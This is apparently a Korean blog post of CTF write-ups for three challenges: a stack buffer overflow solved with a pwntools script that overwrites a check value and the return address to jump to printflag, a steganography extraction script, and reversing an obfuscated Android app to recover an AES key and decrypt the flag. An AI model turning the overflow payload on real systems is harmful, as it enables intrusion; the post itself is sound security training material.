BOF101

#include <stdio.h>
//#include <fcntl.h>
//#include <unistd.h>
#include <stdlib.h>
#include <string.h>

void printflag(){ 
    char buf[32];
    FILE* fp = fopen("/flag", "r"); 
    fread(buf, 1, 32, fp);
    fclose(fp);
    printf("%s", buf);
    fflush(stdout);
}

int main() {
    int check=0xdeadbeef;
    char name[140];
    printf("printflag()'s addr: %p\n", &printflag);
    printf("What is your name?\n: ");
    fflush(stdout);
    scanf("%s", name);    
    if (check != 0xdeadbeef){
        printf("[Warning!] BOF detected!\n");
        fflush(stdout);
        exit(0);
    }
    return 0;
}

프로그램이 매우 간단하다. gets로 인한 스택 버퍼오버플로우가 존재한다.
프로그램에서는 check 지역 변수를 0xdeadbeef로 그대로 유지하는지 체크한다. 버퍼오버플로우를 내고 check를 0xdeadbeef로 덮어준 뒤 return address를 주어진 printflag의 주소로 덮으면 된다.

버퍼의 크기는 140, check는 버퍼 다음에 있고, 그 뒤는 saved rbp, return address다. 따라서 아래와 같이 페이로드를 구성하면 된다.

#!/usr/bin/python

from pwn import *

# p = process("./bof101")
p = remote("bof101.sstf.site", 1337)

leak = int(p.recvline()[len("printflag()'s addr: ")+2:-1], 16)
log.success("leak : ", leak)
p.sendlineafter(": ", "A"*140+p32(0xdeadbeef)+p64(0)+p64(leak))

p.interactive()

My Stego

문제에서 ML 소스코드가 주어진다. 해당 소스코드를 보면 숨길 파일을 Sys.argv.(3) 으로 받아서 다음과 같이 파일을 숨김을 확인할 수 있다.

for y = 0 to img#height - 1 do
    for x = 0 to img#width - 1 do
        let color = img#get x y in
        let r = color.r - (color.r land 1) + ((color.g lxor color.b lxor df#fread) land 1) in
        img#set x y {r=r;g=color.g;b=color.b}
    done;
done;

즉, 파일에서 1 비트씩 읽어와 이미지의 Red 채널에 xor로 숨기는 것을 확인할 수 있다. 따라서 아래 코드를 통해 파일을 얻을 수 있었다. (해당 문제가 튜토리얼 문제라서 풀이 코드가 주어졌었는데 해당 코드를 사용하였습니다.)

#!/usr/bin/python

from PIL import Image
import numpy as np

image = Image.open("challenge.bmp")

r, g, b = map(np.array, image.split())

binstr = "0b"
for a, b, c in zip(r, g, b):
  for i in range(0, image.width):
    binstr += str(int(a[i] ^ b[i] ^ c[i]) & 1)

with open("out", "wb") as f:
  f.write(("%x"%eval(binstr)).decode('hex'))

Vault 101

안드로이드 문제로 apk 파일이 주어졌다. https://github.com/skylot/jadx 를 활용하여 앱을 디컴파일 하였다.

MainActivity에서 사용자가 넣은 입력을 받아 플래그인지 아래 루틴에서 체크한다.

@Override // b.c.a.b
public boolean a(String str) {
    try {
        int i = this.f874a + 1;
        this.f874a = i;
        if (i > 3) {
            Class.forName(c.d(";È\u0003p¯…4ŶorÂ\"Ý\u0010|", -500953648)).getMethod(c.d("qó%", 991422357), (Class) Class.forName(c.d("~jxe\u0005reíY:Bè`niaY", 1069257791)).getDeclaredField(c.d("\u0001ò¬\u0010", 1659367412)).get(null)).invoke(null, 0);
            return false;
        } else if (str == null) {
            return false;
        } else {
            byte[] b2 = b.c.a.a.b((byte[]) Class.forName(c.d(".®$\u000fß1Ç\u0003?ڙ6ʶ\"", 1451800421)).getMethod(c.d("7Ì£\u0002rØ0X", -552283301), new Class[0]).invoke(str, new Object[0]));
            Object invoke = Class.forName(c.d("aogrfle¯}qjì.Cbsl35", 823239689)).getMethod(c.d("$OX{Í\u0010", -2050089752), Class.forName(c.d("\u000eé", 937562454)), (Class) Class.forName(c.d(";HCp¯\u0005tå¶ohõ%LRtó", -730536752)).getDeclaredField(c.d("\u0014ø¡\u0014", -1215097919)).get(null)).invoke(null, b2, Class.forName(c.d("pç\u000bfÆ´!\rÌ!BZ?Ë\u000egÌëq", -1393972808)).getDeclaredField(c.d("\u001aä‰\u0017Yï\u0004", 1778992991)).get(null));
            Object newInstance = Class.forName(c.d("~jxe\u0005remY:Xrfb`c", 1356052543)).getConstructor(Class.forName(c.d("[C", 591904395))).newInstance(invoke);
            Object invoke2 = Class.forName(c.d("$Í\u001efƞ4\u0007Ž:EH Í\u000e:ê˜>]ˆ-_", -248372756)).getMethod(c.d("&DÇ\u0003ÿ\u0016xg¬", 64103114), (Class) Class.forName(c.d("/BNt\u001fqç‚`ó1F_pÓ", -401453852)).getDeclaredField(c.d("\u0001ò\u0004D", 195131734)).get(null)).invoke(VaultService.this, Integer.valueOf((int) R.string.magic));
            return ((Boolean) Class.forName(c.d("zhs`-ddmu.Rwb`kf", -754317293)).getMethod(c.d("tø\u001auÅ®", 528601528), Class.forName(c.d("oâœ5…º!OÈzä\u0016oæ‰ ", -1620091986))).invoke(invoke2, newInstance)).booleanValue();
        }
    } catch (Throwable unused) {
        throw new RuntimeException();
    }
}

코드를 보면 메소드 이름이나 클래스 이름들이 obfuscated되어 있음을 확인할 수 있다. 해당 이름들을 확인하기 위해 각각에 대해 c.d를 실행하였다. (Java 환경이 세팅되어 있지 않아 손으로 일일이 실행하여 얻었다)

@Override // b.c.a.b
public boolean a(String str) {
    try {
        int i = this.f874a + 1;
        this.f874a = i;
        if (i > 3) {
            Class.forName(c.d(";È\u0003p¯…4ŶorÂ\"Ý\u0010|", -500953648)).getMethod(c.d("qó%", 991422357), (Class) Class.forName(c.d("~jxe\u0005reíY:Bè`niaY", 1069257791)).getDeclaredField(c.d("\u0001ò¬\u0010", 1659367412)).get(null)).invoke(null, 0);
            return false;
        } else if (str == null) {
            return false;
        } else {
            byte[] b2 = b.c.a.a.b((byte[]) Class.forName(java.lang.String).getMethod(getBytes, new Class[0]).invoke(str, new Object[0]));
            Object invoke = Class.forName(android.util.Base64).getMethod(encode, Class.forName(c.d("\u000eé", 937562454)), (Class) Class.forName(java.lang.Integer).getDeclaredField(TYPE).get(null)).invoke(null, b2, Class.forName(android.util.Base64).getDeclaredField(NO_WRAP).get(null));
            Object newInstance = Class.forName(java.lang.String).getConstructor(Class.forName(c.d("[C", 591904395))).newInstance(invoke);
            Object invoke2 = Class.forName(android.content.Context).getMethod(getString, (Class) Class.forName(java.lang.Integer).getDeclaredField(TYPE).get(null)).invoke(VaultService.this, Integer.valueOf((int) R.string.magic));
            return ((Boolean) Class.forName(java.lang.String).getMethod(equals, Class.forName(java.lang.Object)).invoke(invoke2, newInstance)).booleanValue();
        }
    } catch (Throwable unused) {
        throw new RuntimeException();
    }
}

b.c.a.a.b를 실행한 뒤 해당 결과를 base64로 인코딩하고 값을 R.string.magic과 비교하는 것을 확인할 수 있다. b.c.a.a.b의 루틴은 아래와 같다.

public static byte[] b(byte[] bArr) {
    try {
        Object invoke = Class.forName(javax.crypto.Cipher).getMethod(getInstance, Class.forName(java.lang.String)).invoke(null, AES/CBC/PKCS5Padding);
        Object newInstance = Class.forName(javax.crypto.spec.SecretKeySpec).getConstructor(Class.forName(c.d("NI", -1666818412)), Class.forName(java.lang.String)).newInstance(a.class.getDeclaredFields()[0].get(null), AES);
        Object newInstance2 = Class.forName(javax.crypto.spec.IvParameterSpec).getConstructor(Class.forName(c.d("\u001aã", -1333368352))).newInstance(a.class.getDeclaredFields()[0].get(null));
        Object obj = Class.forName(javax.crypto.Cipher).getDeclaredField(ENCRYPT_MODE).get(null);
        Class.forName(javax.crypto.Cipher).getMethod(init, (Class) Class.forName(java.lang.Integer).getDeclaredField(TYPE).get(null), Class.forName(java.security.Key), Class.forName(java.security.spec.AlgorithmParameterSpec)).invoke(invoke, obj, newInstance, newInstance2);
        return (byte[]) Class.forName(javax.crypto.Cipher).getMethod(doFinal, Class.forName(c.d("_Á", -251609689))).invoke(invoke, bArr);
    } catch (Throwable unused) {
        throw new RuntimeException();
    }
}

위 코드를 보게되면a.class.getDeclaredFields()[0]를 받아와 AES의 key와 IV로 사용하는 것을 확인할 수 있다. 해당 값은 VaultService.onCreate에서 세팅하는데, R.array.kind_of_magic에서 각 원소들을 Base64 디코딩을 한 뒤 첫번째 글자들을 받아와 이를 a.class.getDeclaredFields()[0]에 세팅한다. 해당 값들은 아래와 같다.

PARK
KOREAN
nut
JACK
3
BESTBUY
JACK
queen
yelp
music
GOLF
visa
KOREAN
zip
GOLF
2

첫번째 글자들을 연결한 PKnJ3BJqymGvKzG2가 IV와 key에 해당되게 된다. 얻은 IV와 key를 이용하여 AES decrypt를 진행하면 플래그를 획득할 수 있다.

enc = magic
iv = "PKnJ3BJqymGvKzG2"
cipher = AES.new(iv, AES.MODE_CBC, iv )
print cipher.decrypt( magic )

SCTF{53CUr17Y_7Hr0U6H_085CUr17Y_15_N07_3N0U6H}

'보안 > CTF Writeups' 카테고리의 다른 글

Google CTF 2018 Proprietary Format write-up  (0) 2021.01.19
HITCON 2019 Quals LazyHouse Writeup  (1) 2021.01.19

+ Recent posts